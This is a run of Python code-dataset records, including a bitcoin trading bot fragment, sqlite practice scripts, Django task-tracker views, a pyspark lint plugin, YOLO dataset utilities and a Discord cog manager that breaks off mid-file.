self.tradeAmount)\n\t\t\t\t\t\t\torderID = tradeInfo['order_id']\n\t\t\t\t\t\t\tself.logger.info(tradeInfo)\n\t\t\t\t\t\t\tself.logger.info('TRADE BUY {} {} at {}, orderID: {}'.format(\n\t\t\t\t\t\t\t\tself.tradeAmount, self.symbol[0:3].upper(), tradePrice, orderID))\n\t\t\t\t\telse:\n\t\t\t\t\t\tif self.state == 'BULL':\n\t\t\t\t\t\t\tself.logger.info('TRADE state flip BEAR -> BULL, trade thread will stop SELL and start to BUY.')\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif self.cfgLogOnly:\n\t\t\t\t\t\t\t\tif minutes != datetime.datetime.now().minute:\n\t\t\t\t\t\t\t\t\tminutes = datetime.datetime.now().minute\n\t\t\t\t\t\t\t\t\tself.logger.info('TRADE SELL {} {} at {}. Since in logOnlyMode, sell nothing.'.format(\n\t\t\t\t\t\t\t\t\t\tself.tradeAmount, self.symbol[0:3].upper(), tradePrice))\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\ttradeInfo = self.traderTrend.trade(symbol = self.symbol, type = 'sell', price = tradePrice, amount = self.tradeAmount)\n\t\t\t\t\t\t\torderID = tradeInfo['order_id']\n\t\t\t\t\t\t\tself.logger.info(tradeInfo)\n\t\t\t\t\t\t\tself.logger.info('TRADE SELL {} {} at {}, orderID: {}'.format(\n\t\t\t\t\t\t\t\tself.tradeAmount, self.symbol[0:3].upper(), tradePrice, orderID))\n\n\t\t\t\t\ttime.sleep(0.2)\n\t\t\t\t\tself.traderTrend.cancel_order(symbol = self.symbol, order_id = orderID)\n\n\t\t\t\t\torder = None\n\t\t\t\t\twhile order == None or order['status'] == 4:\n\t\t\t\t\t\torder = self.account.order_info(symbol = self.symbol, order_id = orderID)['orders'][0]\n\t\t\t\t\t\tself.logger.info('TRADE {} status {}'.format(orderID, statusTexts[order['status']]))\n\n\t\t\t\t\tself.logger.info('TRADE TRADING: {} at price {}, amount: {}, dealamout: {}'.format(\n\t\t\t\t\t\t\t\t\t 'buy' if self.bull else 'sell',\n\t\t\t\t\t\t\t\t\t tradePrice,\n\t\t\t\t\t\t\t\t\t self.tradeAmount,\n\t\t\t\t\t\t\t\t\t order['deal_amount']\n\t\t\t\t\t\t\t\t\t ))\n\t\t\t\t\tself.tradeAmount -= order['deal_amount']\n\t\t\t\t\tif self.tradeAmount > self.lowerAmountLimit:\n\t\t\t\t\t\tself.tradeAmount -= 0.01\n\t\t\t\t\t\tself.tradeAmount *= 0.98\n\n\t\t\t\t\tif order['status'] == -1:\n\t\t\t\t\t\tself.updateOrderbook()\n\t\t\t\t\t\twhile self.bull and self.bidPrice - tradePrice > 1:\n\t\t\t\t\t\t\tself.tradeAmount *= 0.99\n\t\t\t\t\t\t\ttradePrice += 1\n\t\t\t\t\t\twhile self.bear and self.askPrice - tradePrice < -1:\n\t\t\t\t\t\t\tself.tradeAmount *= 0.99\n\t\t\t\t\t\t\ttradePrice -= 1\n\t\t\t\tself.numTick = 0 # new trade is start\n\t\t### End of tradeHelper() ###\n\t\tminutes = 0\n\t\twhile True:\n\t\t\tif self.bull or self.bear:\n\t\t\t\ttradeHelper(self, minutes)\n\nclass Slark:\n\tdef trade(exch, symbol, cfg):\n\t\tslarkCancelLegacy \t= SlarkCancelLegacy(exch, logging.INFO, symbol, cfg, 'SlarkCancelLegacy')\n\t\tslarkTrend \t\t\t\t\t= SlarkTrend(exch, logging.INFO, symbol, cfg, 'SlarkTrend')\n\t\tslarkBalancePosition= SlarkBalancePosition(exch, logging.INFO, symbol, cfg, 'SlarkBalancePosition')\n\t\ttry:\n\t\t\t#with ThreadPoolExecutor(max_workers=3) as executor:\n\t\t\t#\texecutor.submit(slarkTrend.trade)\n\t\t\t#\texecutor.submit(slarkBalancePosition.trade)\n\t\t\t#\texecutor.submit(slarkCancelLegacy.trade)\n\t\t\twith ThreadPoolExecutor(max_workers=2) as executor:\n\t\t\t\t#executor.submit(slarkCancelLegacy.trade)\n\t\t\t\texecutor.submit(slarkTrend.trade)\n\t\t\t\texecutor.submit(slarkTrend.generateSignal)\n\t\texcept Exception as e:\n\t\t\tlogger = createLogger('Slark', logging.INFO)\n\t\t\tlogger.critical(e)\n\t\t\tlogger.critical(traceback.format_exc())\n\t\t\tlogger.critical('status')\n\t\t\tinsts = [slarkBalancePosition, slarkCancelLegacy, slarkTrend]\n\t\t\tfor inst in insts:\n\t\t\t\tfor item in inst.__dict__.items():\n\t\t\t\t\tinst.logger.critical('self.%s: %s'%(item[0], str(item[1])))\n\t\t\n","sub_path":"btcTradingSystem/OKCoin/Code/SlarkMultithreadInstance/1theFirstTradedVersion/slark.py","file_name":"slark.py","file_ext":"py","file_size_in_byte":19903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"615334032","text":"# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\nimport wx\nimport armid\nfrom DimensionListCtrl import DimensionListCtrl\nfrom GoalPage import GoalPage\nfrom ConcernAssociationListCtrl import ConcernAssociationListCtrl\n\nclass SummaryPage(wx.Panel):\n def __init__(self,parent,refiningGoal):\n wx.Panel.__init__(self,parent,armid.GOAL_PANELSUMMARY_ID)\n topSizer = wx.BoxSizer(wx.VERTICAL)\n\n topRowSizer = wx.BoxSizer(wx.HORIZONTAL)\n topSizer.Add(topRowSizer,0,wx.EXPAND)\n\n lblBox = wx.StaticBox(self,-1,'Label')\n lblBoxSizer = wx.StaticBoxSizer(lblBox,wx.VERTICAL)\n topRowSizer.Add(lblBoxSizer,0,wx.EXPAND)\n self.labelCtrl = wx.TextCtrl(self,armid.GOAL_TEXTLABEL_ID,\"\",pos=wx.DefaultPosition,size=wx.Size(150,30),style=wx.TE_READONLY)\n self.labelCtrl.Disable()\n lblBoxSizer.Add(self.labelCtrl,1,wx.EXPAND)\n\n catBox = wx.StaticBox(self,-1,'Category')\n catBoxSizer = wx.StaticBoxSizer(catBox,wx.VERTICAL)\n topRowSizer.Add(catBoxSizer,1,wx.EXPAND)\n\n\n catList = ['Achieve','Maintain','Avoid','Improve','Increase','Maximise','Minimise']\n self.categoryCtrl = wx.ComboBox(self,armid.GOAL_COMBOCATEGORY_ID,choices=catList,size=wx.DefaultSize,style= wx.CB_READONLY)\n catBoxSizer.Add(self.categoryCtrl,1,wx.EXPAND)\n\n priBox = wx.StaticBox(self,-1,'Priority')\n priBoxSizer = wx.StaticBoxSizer(priBox,wx.VERTICAL)\n topSizer.Add(priBoxSizer,0,wx.EXPAND)\n priList = ['Low','Medium','High']\n self.priorityCtrl = wx.ComboBox(self,armid.GOAL_COMBOPRIORITY_ID,choices=priList,size=wx.DefaultSize,style= wx.CB_READONLY)\n priBoxSizer.Add(self.priorityCtrl,1,wx.EXPAND)\n\n defBox = wx.StaticBox(self,-1,'Definition')\n defBoxSizer = wx.StaticBoxSizer(defBox,wx.VERTICAL)\n topSizer.Add(defBoxSizer,1,wx.EXPAND)\n self.definitionCtrl = wx.TextCtrl(self,armid.GOAL_TEXTDEFINITION_ID,'',style= wx.TE_MULTILINE)\n defBoxSizer.Add(self.definitionCtrl,1,wx.EXPAND)\n\n if (refiningGoal == True):\n ctBox = wx.StaticBox(self,-1,'Contribution Type')\n ctBoxSizer = wx.StaticBoxSizer(ctBox,wx.HORIZONTAL)\n topSizer.Add(ctBoxSizer,0,wx.EXPAND)\n self.ctCtrl = wx.ComboBox(self,armid.GOAL_COMBOCONTRIBUTIONTYPE_ID,choices=['Operationalises','Obstructs'],size=wx.DefaultSize,style=wx.CB_READONLY)\n self.ctCtrl.SetSelection(0)\n ctBoxSizer.Add(self.ctCtrl,1,wx.EXPAND)\n\n self.SetSizer(topSizer)\n\nclass MLTextPage(wx.Panel):\n def __init__(self,parent,winId):\n wx.Panel.__init__(self,parent)\n topSizer = wx.BoxSizer(wx.VERTICAL)\n\n narrativeBox = wx.StaticBox(self,-1)\n narrativeBoxSizer = wx.StaticBoxSizer(narrativeBox,wx.HORIZONTAL)\n topSizer.Add(narrativeBoxSizer,1,wx.EXPAND)\n self.narrativeCtrl = wx.TextCtrl(self,winId,'',style=wx.TE_MULTILINE)\n narrativeBoxSizer.Add(self.narrativeCtrl,1,wx.EXPAND)\n self.SetSizer(topSizer)\n\nclass ConcernAssociationPage(wx.Panel):\n def __init__(self,parent,winId,dp):\n wx.Panel.__init__(self,parent)\n topSizer = wx.BoxSizer(wx.VERTICAL)\n\n caBox = wx.StaticBox(self,-1)\n caBoxSizer = wx.StaticBoxSizer(caBox,wx.HORIZONTAL)\n topSizer.Add(caBoxSizer,1,wx.EXPAND)\n self.caList = ConcernAssociationListCtrl(self,winId,dp)\n caBoxSizer.Add(self.caList,1,wx.EXPAND)\n self.SetSizer(topSizer)\n\nclass ConcernPage(wx.Panel):\n def __init__(self,parent,winId,dp):\n wx.Panel.__init__(self,parent)\n topSizer = wx.BoxSizer(wx.VERTICAL)\n\n sgBox = wx.StaticBox(self,-1)\n sgBoxSizer = wx.StaticBoxSizer(sgBox,wx.HORIZONTAL)\n topSizer.Add(sgBoxSizer,1,wx.EXPAND)\n self.concernList = DimensionListCtrl(self,winId,wx.DefaultSize,'Concern','asset',dp)\n sgBoxSizer.Add(self.concernList,1,wx.EXPAND)\n self.SetSizer(topSizer)\n\n\nclass GoalEnvironmentNotebook(wx.Notebook):\n def __init__(self,parent,dp,refiningGoal=False):\n wx.Notebook.__init__(self,parent,armid.GOAL_NOTEBOOKENVIRONMENT_ID)\n p1 = SummaryPage(self,refiningGoal)\n p2 = MLTextPage(self,armid.GOAL_TEXTFITCRITERION_ID)\n p3 = MLTextPage(self,armid.GOAL_TEXTISSUE_ID)\n p4 = GoalPage(self,armid.GOAL_LISTGOALREFINEMENTS_ID,True,dp)\n p5 = GoalPage(self,armid.GOAL_LISTSUBGOALREFINEMENTS_ID,False,dp)\n p6 = ConcernPage(self,armid.GOAL_LISTCONCERNS_ID,dp)\n p7 = ConcernAssociationPage(self,armid.GOAL_LISTCONCERNASSOCIATIONS_ID,dp)\n self.AddPage(p1,'Definition')\n self.AddPage(p2,'Fit Criterion')\n self.AddPage(p3,'Issue')\n self.AddPage(p4,'Goals')\n self.AddPage(p5,'Sub-Goals')\n self.AddPage(p6,'Concerns')\n self.AddPage(p7,'Concern Associations')\n","sub_path":"cairis/cairis/GoalEnvironmentNotebook.py","file_name":"GoalEnvironmentNotebook.py","file_ext":"py","file_size_in_byte":5256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"350779000","text":"'''\n\n新進測試\n\n'''\n\nprint('------------------------------------------------------------')\t#60個\nprint('準備工作')\n\nimport sqlite3\n\ndef show_data_base_contents(db_filename, table_name, length):\n conn = sqlite3.connect(db_filename) # 建立資料庫連線\n sqlstr = 'SELECT * FROM {};'.format(table_name)#same\n sqlstr = 'SELECT * FROM %s' % table_name\n cursor = conn.execute(sqlstr)\n\n n = 0\n for row in cursor:\n print(row)\n n = n + 1\n #讀取 N 筆資料, 即跳出\n if n == length:\n break\n conn.close() # 關閉資料庫連線\n\ndef show_data_base_contents_all(db_filename, table_name):\n conn = sqlite3.connect(db_filename) # 建立資料庫連線\n sqlstr = 'SELECT * FROM {};'.format(table_name)#same\n sqlstr = 'SELECT * FROM %s' % table_name\n results = str(conn.execute(sqlstr).fetchall())\n print(results)\n conn.close() # 關閉資料庫連線\n\nprint('------------------------------------------------------------')\t#60個\n\nprint('新進測試')\n\n\ndb_filename = 'ims_sql/db_ims.sqlite'\ndb_filename = 'C:/_git/vcs/_1.data/______test_files1/_db/gasoline.sqlite'\n#db_filename = 'db_20230703_113217.sqlite'\n\nprint('建立資料庫連線, 資料庫 : ' + db_filename)\nconn = sqlite3.connect(db_filename) # 建立資料庫連線\n\nprint('要事先能知道表單的名稱 prices 與 各欄位的名稱 gdate')\n\ncursor = conn.execute('SELECT * FROM prices ORDER BY gdate DESC;')\n\nn = 0\nfor row in cursor:\n print(row)\n print(\"日期:{},92無鉛:{},95無鉛:{},98無鉛:{}\". format(row[0], row[1], row[2], row[3]))\n n = n + 1\n #讀取10筆資料, 即跳出\n if n == 5:\n break\n\nconn.close() # 關閉資料庫連線\n\nprint('-------------------')\ntable_name = 'prices'\nlength = 5\nshow_data_base_contents(db_filename, table_name, length)\nprint('-------------------')\nshow_data_base_contents_all(db_filename, table_name)\n\n#----------------------------------------------------------------\n\n\n'''\n\n新進測試\n測試 SERIAL 測不出效果\n\n測試 TIMESTAMP\n測試 DATE\n測試 CHECK\n\n測試部分填入資料\n\n'''\n\nprint('------------------------------------------------------------')\t#60個\nprint('新進測試')\n\nimport sqlite3\nimport datetime\n\ndb_filename = 'sssss4.sqlite'\n\nprint('建立資料庫連線, 資料庫 : ' + db_filename)\nconn = sqlite3.connect(db_filename) # 建立資料庫連線\ncursor = conn.cursor() # 建立 cursor 物件\n\nsqlstr = '''\nCREATE TABLE IF NOT EXISTS table01 (\n --id SERIAL PRIMARY KEY, 無效\n id_num INTEGER,\n name VARCHAR(50),\n birthday DATE CHECK(birthday > '1900-01-01'),\n work_time DATE CHECK(work_time > birthday),\n money INTEGER CHECK(money > 0), -- 預設錯誤時會顯示\n update_time TIMESTAMP\n);\n'''\n\ncursor.execute(sqlstr)\nconn.commit() # 更新\n\nid_num = 3\nname = 'David'\nbirthday = '2006-03-11'\nwork_time = '2023-07-11'\nmoney = 2345\nupdate_time = datetime.datetime.now()\n\nsql = \"INSERT INTO table01 (id_num, name, birthday, work_time, money, update_time) VALUES ({}, '{}', '{}', '{}', {}, '{}')\"\n#print(sql)\nsqlstr = sql.format(id_num, name, birthday, work_time, money, update_time)\n\n#或者直接寫\n#sqlstr = \"INSERT INTO table01 (id_num, name, birthday, work_time, money) VALUES (5, 'David', 'xxxx', 'xxxx', 1234, 'xxxx');\"\n\ncursor.execute(sqlstr)\n\nprint('資料不足時, 部分填入資料')\nid_num = 5\nname = 'Eric'\nupdate_time = datetime.datetime.now()\n\nsql = \"INSERT INTO table01 (id_num, name, update_time) VALUES ({}, '{}', '{}')\"\n#print(sql)\nsqlstr = sql.format(id_num, name, update_time)\ncursor.execute(sqlstr)\n\nconn.commit() # 更新\nconn.close() # 關閉資料庫連線\n\nconn = sqlite3.connect(db_filename) # 建立資料庫連線\n\ncursor = conn.execute('SELECT * FROM table01')\n\nn = 0\nfor row in cursor:\n print(row)\n n = n + 1\n #讀取10筆資料, 即跳出\n\nconn.close() # 關閉資料庫連線\n\n\nprint('------------------------------------------------------------')\t#60個\nprint('一次寫入多行的語法 executescript')\n\nimport sqlite3\nimport datetime\n\ndb_filename = 'sssss4_many1.sqlite'\n\nprint('建立資料庫連線, 資料庫 : ' + db_filename)\nconn = sqlite3.connect(db_filename) # 建立資料庫連線\ncursor = conn.cursor() # 建立 cursor 物件\nconn.execute(\"CREATE virtual TABLE table01 using fts3(name, ingredients)\")\nconn.executescript(\"\"\"\n INSERT INTO table01 (name, ingredients) VALUES ('broccoli stew', 'broccoli peppers cheese tomatoes');\n INSERT INTO table01 (name, ingredients) VALUES ('pumpkin stew', 'pumpkin onions garlic celery');\n INSERT INTO table01 (name, ingredients) VALUES ('broccoli pie', 'broccoli cheese onions flour');\n INSERT INTO table01 (name, ingredients) VALUES ('pumpkin pie', 'pumpkin sugar flour butter');\n \"\"\")\n\nfor row in conn.execute(\"SELECT rowid, name, ingredients FROM table01 WHERE name MATCH 'pie'\"):\n print(row)\n\n#conn.commit() # 更新\n\ntable_name = 'table01'\nshow_data_base_contents_all(db_filename, table_name)\n\n\nprint('------------------------------------------------------------')\t#60個\nprint('一次寫入多行的語法 executescript')\n\nimport sqlite3\n\ncon = sqlite3.connect(\":memory:\")\ncur = con.cursor()\ncur.executescript(\"\"\"\n CREATE TABLE person(\n firstname,\n lastname,\n age\n );\n\n CREATE TABLE book(\n title,\n author,\n published\n );\n\n INSERT INTO book(title, author, published)\n VALUES (\n 'Dirk Gently''s Holistic Detective Agency',\n 'Douglas Adams',\n 1987\n );\n \"\"\")\n\nprint('------------------------------------------------------------')\t#60個\nprint('xxxxx')\n\nimport sqlite3\n\ncon = sqlite3.connect(\":memory:\")\ncur = con.cursor()\ncur.execute(\"CREATE TABLE people (name_last, age)\")\n\nwho = 'David'\nage = 18\n\ncur.execute(\"INSERT INTO people VALUES (?, ?)\", (who, age))\n\n\nprint('------------------------------------------------------------')\t#60個\nprint('xxxxx')\n\n\n\nprint(\"程式執行完畢!\")\n\n","sub_path":"_4.python/sqlite/sqlite_新進測試1.py","file_name":"sqlite_新進測試1.py","file_ext":"py","file_size_in_byte":5965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"401308673","text":"import re\n\n\nMETA_FIELDS = ('AUTHOR','VERSION','DESC','REPO','URL')\n\nclass Module():\n \n def __init__(self,position,uid,tags={}):\n\n if not isinstance(tags,dict):\n raise TypeError\n \n self.position = position \n self.uid = uid\n [setattr(self,field,tags.pop(field)) for field in META_FIELDS if (field in tags)]\n self.tags = tags\n\n @staticmethod\n def create_from_string(position,s):\n match_obj = re.findall(\"\"\"(?P^\\w+):(?P.+$)\"\"\",s,re.MULTILINE)\n attr = { i[0]:i[1] for i in match_obj}\n print(attr)\n module = Module(position,attr.pop('ID'),tags=attr)\n return module\n\n\n","sub_path":"src/core/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"371377115","text":"# Copyright 2017 Palantir Technologies, Inc.\nimport ast\nimport logging\nfrom pyls import hookimpl, lsp\n\nlog = logging.getLogger(__name__)\n\n@hookimpl\ndef pyls_settings():\n # Default pydocstyle to disabled\n return {'plugins': {'pyspark': {'enabled': False}}}\n\n@hookimpl\ndef pyls_lint(config, document):\n config.plugin_settings('pyspark')\n log.debug(\"Running pyspark lint.\")\n\n try:\n tree = ast.parse(document.source, document.path)\n except SyntaxError:\n return None\n\n ast.fix_missing_locations(tree)\n diags = []\n spark_methods_require_shuffle = [\n 'repartition',\n 'coalesce',\n 'cogroup',\n 'sortByKey',\n 'aggregateByKey',\n 'reduceByKey',\n 'groupByKey',\n 'join',\n ]\n for node in ast.walk(tree):\n if isinstance(node, ast.Attribute):\n if hasattr(node, 'attr') and node.attr in spark_methods_require_shuffle:\n diags.append({\n 'source': 'pyspark',\n 'range': {\n 'start': {'line': node.lineno - 1, 'character': node.col_offset},\n 'end': {'line': node.lineno - 1, 'character': node.col_offset + 14},\n },\n 'message': 'Repartition is expensive.',\n 'severity': lsp.DiagnosticSeverity.Warning\n })\n\n return diags\n","sub_path":"pyls/plugins/pyspark_lint.py","file_name":"pyspark_lint.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"628948489","text":"n = int(input())\nlimit = list(map(int, input().split()))\nm = int(input())\nweight = list(map(int, input().split()))\n\nlimit.sort(reverse=True)\nweight.sort(reverse=True)\n\nif weight[0] > limit[0]:\n print(-1)\nelse:\n ans = 0\n while weight:\n ans += 1\n for x in limit:\n if not weight:\n break\n\n for y in weight:\n if x >= y:\n weight.remove(y)\n break\n print(ans)","sub_path":"problem_solving/2021/210608/210608_4.py","file_name":"210608_4.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"121015975","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('rtiapp', '0009_auto_20180622_1550'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='alumno',\n name='pais',\n field=models.CharField(max_length=3, default='ESP', choices=[('ESP', 'España'), ('GTM', 'Guatemala'), ('ECU', 'Ecuador'), ('CAN', 'Canarias')]),\n ),\n migrations.AlterField(\n model_name='evaluador',\n name='pais',\n field=models.CharField(max_length=3, default='ESP', choices=[('ESP', 'España'), ('GTM', 'Guatemala'), ('ECU', 'Ecuador'), ('CAN', 'Canarias')]),\n ),\n ]\n","sub_path":"rtiapp/migrations/0010_auto_20180622_1607.py","file_name":"0010_auto_20180622_1607.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"283488843","text":"import json\n\nfin = open('laba24/in.json','r')\nfout = open('laba24/out.json','w')\n\ntasks = json.loads(fin.read())\n\nusers = {}\nfor task in tasks:\n if task['userId'] not in users:\n users[task['userId']] = 0\n if task['completed']:\n users[task['userId']] += 1\n\noutput = []\nfor user in users:\n output.append({'userId':user, 'task_completed':users[user]})\n\njson.dump(output, fout, indent=2)","sub_path":"laba24/laba24.py","file_name":"laba24.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"607774395","text":"from django.shortcuts import redirect, render\nfrom .models import *\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import CurrentForm\nfrom django.contrib import messages\n\nimport datetime\nimport xlwt\nfrom django.http import HttpResponse\nfrom django.contrib.auth.models import User\n\n\n\ndef about(request):\n \n return render(request, 'task/dashboard/about.html')\n# Create your views here.\n\n@login_required\ndef index(request):\n comp_tasks_count = Current.objects.filter(status='Completed').count()\n del_tasks_count = Current.objects.filter(status='Deleted').count()\n curr_tasks_count = Current.objects.filter(status='Current').count()\n context = {\n 'comp_tasks_count': comp_tasks_count,\n 'del_tasks_count': del_tasks_count,\n 'curr_tasks_count': curr_tasks_count,\n }\n return render(request, 'task/dashboard/index.html', context)\n\n\n@login_required\ndef current(request):\n curr_tasks = Current.objects.filter(status='Current')\n curr_tasks_count = curr_tasks.count()\n\n del_tasks_count = Current.objects.filter(status='Deleted').count()\n comp_tasks_count = Current.objects.filter(status='Completed').count()\n \n if request.method == \"POST\":\n form = CurrentForm(request.POST)\n if form.is_valid():\n form.save()\n task_name = form.cleaned_data.get('task')\n messages.success(request, f'{task_name} has been added')\n \n return redirect('dashboard-current')\n else:\n form = CurrentForm()\n\n context = {\n 'comp_tasks_count': comp_tasks_count,\n 'del_tasks_count': del_tasks_count,\n 'curr_tasks': curr_tasks,\n 'curr_tasks_count': curr_tasks_count,\n 'form': form,\n }\n return render(request, 'task/dashboard/current.html', context)\n\n\n@login_required\n# Current update and delete\ndef current_delete(request, pk):\n curr_del = Current.objects.get(id=pk)\n if request.method == \"POST\":\n curr_del.delete()\n return redirect('dashboard-current')\n\n return render(request, 'task/dashboard/current_delete.html')\n\n@login_required\ndef current_update(request, pk):\n curr_up = Current.objects.get(id=pk)\n if request.method == \"POST\":\n form = CurrentForm(request.POST, instance=curr_up)\n if form.is_valid():\n form.save()\n return redirect('dashboard-current')\n else:\n form = CurrentForm(instance=curr_up)\n context = {\n 'form': form,\n }\n return render(request, 'task/dashboard/current_update.html', context)\n\n@login_required\n# Completed update and delete\ndef completed_delete(request, pk):\n comp_del = Current.objects.get(id=pk)\n if request.method == \"POST\":\n comp_del.delete()\n return redirect('dashboard-current')\n\n return render(request, 'task/dashboard/completed_delete.html')\n\n@login_required\ndef completed_update(request, pk):\n comp_up = Current.objects.get(id=pk)\n if request.method == \"POST\":\n form = CurrentForm(request.POST, instance=comp_up)\n if form.is_valid():\n form.save()\n return redirect('dashboard-current')\n else:\n form = CurrentForm(instance=comp_up)\n context = {\n 'form': form,\n }\n return render(request, 'task/dashboard/completed_update.html', context)\n\n@login_required\ndef completed(request):\n comp_tasks = Current.objects.filter(status='Completed')\n comp_tasks_count = comp_tasks.count()\n\n del_tasks_count = Current.objects.filter(status='Deleted').count()\n curr_tasks_count = Current.objects.filter(status='Current').count()\n\n\n \n context = {\n 'comp_tasks': comp_tasks,\n 'comp_tasks_count': comp_tasks_count,\n 'del_tasks_count': del_tasks_count,\n 'curr_tasks_count': curr_tasks_count,\n }\n return render(request, 'task/dashboard/completed.html', context)\n\n\n@login_required\ndef deleted(request):\n del_tasks = Current.objects.filter(status='Deleted')\n del_tasks_count = del_tasks.count()\n comp_tasks_count = Current.objects.filter(status='Completed').count()\n curr_tasks_count = Current.objects.filter(status='Current').count()\n\n context = {\n 'del_tasks': del_tasks,\n 'comp_tasks_count': comp_tasks_count,\n 'del_tasks_count': del_tasks_count,\n 'curr_tasks_count': curr_tasks_count,\n }\n \n return render(request, 'task/dashboard/deleted.html', context)\n\n@login_required\ndef export_excel(request, id):\n if id == 1: # current\n obj = Current\n obj_name = 'Current'\n elif id == 2: # completed\n obj = Completed\n obj_name = 'Completed'\n elif id == 3: # Deleted\n obj = Deleted\n obj_name = 'Deleted'\n else:\n print('no id')\n\n \n response=HttpResponse(content_type='application/ms-excel')\n response['Content-Disposition'] = f'attachment; filename={obj_name}.xls' \n \n wb = xlwt.Workbook(encoding='utf-8')\n ws = wb.add_sheet(f'{obj_name} Tasks')\n row_num = 0\n\n font_style = xlwt.XFStyle()\n font_style.font.bold = True\n\n columns = ['task', 'user', 'date', 'status']\n\n for col_num in range(len(columns)):\n ws.write(row_num, col_num, columns[col_num], font_style) # at 0 row 0 column \n\n curr_tasks = Current.objects.filter(status=f'{obj_name}').values_list('task', 'user', 'date', 'status')\n \n for row in curr_tasks:\n row_num += 1\n for col_num in range(len(row)):\n ws.write(row_num, col_num, row[col_num], font_style)\n \n wb.save(response)\n return response\n ","sub_path":"task/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"249149071","text":"from django.db.models import fields\n\ndef get_changes_between_models(model1, model2, fields=[]):\n\tchanges = {}\n\tfor field in fields:\n\t\tif model1.__getattribute__(field) != model2.__getattribute__(field):\n\t\t\tchanges[field] = (model1._meta.get_field(field).value_from_object(model1), \n\t\t\t\t\t\t\t\tmodel2._meta.get_field(field).value_from_object(model2),)\n\treturn changes\n\ndef get_stats():\n\tfrom models import Issue\n\tfrom django.contrib.auth.models import User\n\tstats = {}\n\tstats['total_issues'] = Issue.objects.all().count()\n\tstats['open_issues'] = Issue.objects.open().count()\n\tstats['closed_issues'] = Issue.objects.closed().count()\n\tstats['total_users'] = User.objects.all().count()\n\treturn stats\n","sub_path":"coral/tracker/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"390691533","text":"from utils import min_image_dims_in_dir, shuffle_split_files\n\nmain_run = 'dims' # 'split'\n\n###################################\n# min_image_dims_in_dir #\n###################################\n\nif main_run == 'dims':\n # directory = '/Users/bothmena/Projects/datasets/vehicles_object_detection/yolo_v5/train/images/'\n directory = '/Users/bothmena/Projects/AIForMobility/datasets/yolo_labels/yolo_v3_to_v5/sample/input_images'\n width, height = min_image_dims_in_dir(directory, ['jpg'])\n\n print('min width = {} / min height = {}'.format(width, height))\n\n###################################\n# min_image_dims_in_dir #\n###################################\n\nif main_run == 'split':\n original_dir = '/Users/bothmena/Projects/datasets/vehicles_object_detection/yolo_v5/train'\n destination = '/Users/bothmena/Projects/datasets/vehicles_object_detection/yolo_v5_train_valid'\n\n shuffle_split_files([.8, .2], original_dir, destination)\n","sub_path":"utils/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"269095935","text":"from discord.ext import commands\n\n\nclass CogManager(commands.Cog):\n\n def __init__(self, bot):\n self.bot = bot\n self.last_reloaded = None\n\n @commands.command()\n @commands.has_permissions(administrator=True)\n async def load(self, ctx, *, module):\n \"\"\"Loads a module.\"\"\"\n await ctx.message.delete(delay=5.0)\n try:\n self.bot.load_extension(module)\n except commands.ExtensionError as err:\n await ctx.send_error(f'{err.__class__.__name__}: {err}', delete_after=5.0)\n except ModuleNotFoundError as err:\n await ctx.send_error(f'{err.__class__.__name__}: {err}', delete_after=5.0)\n else:\n await ctx.send_success(f'{module} loaded successfully', delete_after=5.0)\n\n @commands.command()\n @commands.has_permissions(administrator=True)\n async def unload(self, ctx, *, module):\n \"\"\"Unloads a module.\"\"\"\n await ctx.message.delete(delay=5.0)\n try:\n self.bot.unload_extension(module)\n except commands.ExtensionError as err:\n await ctx.send_error(f'{err.__class__.__name__}: {err}', delete_after=5.0)\n except ModuleNotFoundError as err:\n await ctx.send_error(f'{err.__class__.__name__}: {err}', delete_after=5.0)\n else:\n await ctx.send_success(f'{module} unloaded successfully', delete_after=5.0)\n\n @commands.group(name='reload', invoke_without_command=True)\n @commands.has_permissions(administrator=True)\n async def _reload(self, ctx, *, module=None):\n \"\"\"Reloads a module.\"\"\"\n\n if module is None:\n if self.last_reloaded is not None:\n await self._reload(ctx, module=self.last_reloaded)\n return\n\n await ctx.message.delete(delay=5.0)\n try:\n self.bot.reload_extension(module)\n self.last_reloaded = module\n except commands.ExtensionError as err:\n await ctx.send_error(f'{err.__class__.__name__}: {err}', delete_after=5.0)\n except ModuleNotFoundError as err:\n await 